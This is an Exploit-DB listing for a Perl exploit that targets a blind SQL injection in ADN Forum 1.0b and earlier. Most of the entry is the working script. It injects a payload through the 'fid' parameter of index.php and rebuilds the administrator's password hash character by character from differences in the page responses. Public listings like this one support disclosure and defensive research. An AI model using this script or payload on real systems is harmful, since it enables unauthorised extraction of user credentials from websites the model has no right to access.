ADN Forum <= 1.0b - BlindSQL Injection Exploit

2008-10-01T00:00:00
ID EDB-ID:6640
Type exploitdb
Reporter StAkeR
Modified 2008-10-01T00:00:00

Description

ADN Forum <= 1.0b Blind SQL Injection Exploit. CVE-2006-0123. Webapps exploit for php platform

                                        
                                            #!/usr/bin/perl
# --------------------------------------------------
# ADN Forum &lt;= 1.0b Blind SQL Injection Exploit
# Discovered By: StAkeR - StAkeR[at]hotmail[dot]it
# Discovered On: 01/10/2008
# Download: http://sourceforge.net/projects/adnforum/
# --------------------------------------------------
# Usage: perl exploit.pl http://localhost
# --------------------------------------------------

use strict;
use warnings;
use LWP::UserAgent;
use URI::Escape;

my ($request,$send,$ord,$hash,$uid) = (undef,undef,undef,undef,1);

my $host = shift @ARGV or die "[?] Usage: perl $0 http://[host]\n";
my @chars = (48..57, 97..102); 
my $http = new LWP::UserAgent;

for(0..32)
{
  foreach $ord(@chars) 
  {
    $send = "' or ascii(substring((select password from adn_usuarios where id=1),$uid,1))=$ord#";
    $send = uri_escape($send);
    
    $request = $http-&gt;get($host."/index.php?fid=".$send);
    
    if($request-&gt;is_success and $request-&gt;content =~ /hace clic en el boton de abajo/i)
    {
      $hash .= chr($ord); 
      $uid++;
    }
  }
}

if(defined $hash)
{
  print "[+] MD5: $hash\n";
  exit;
}
else
{
  print "[?] Exploit Failed!\n";
  exit;
}

# milw0rm.com [2008-10-01]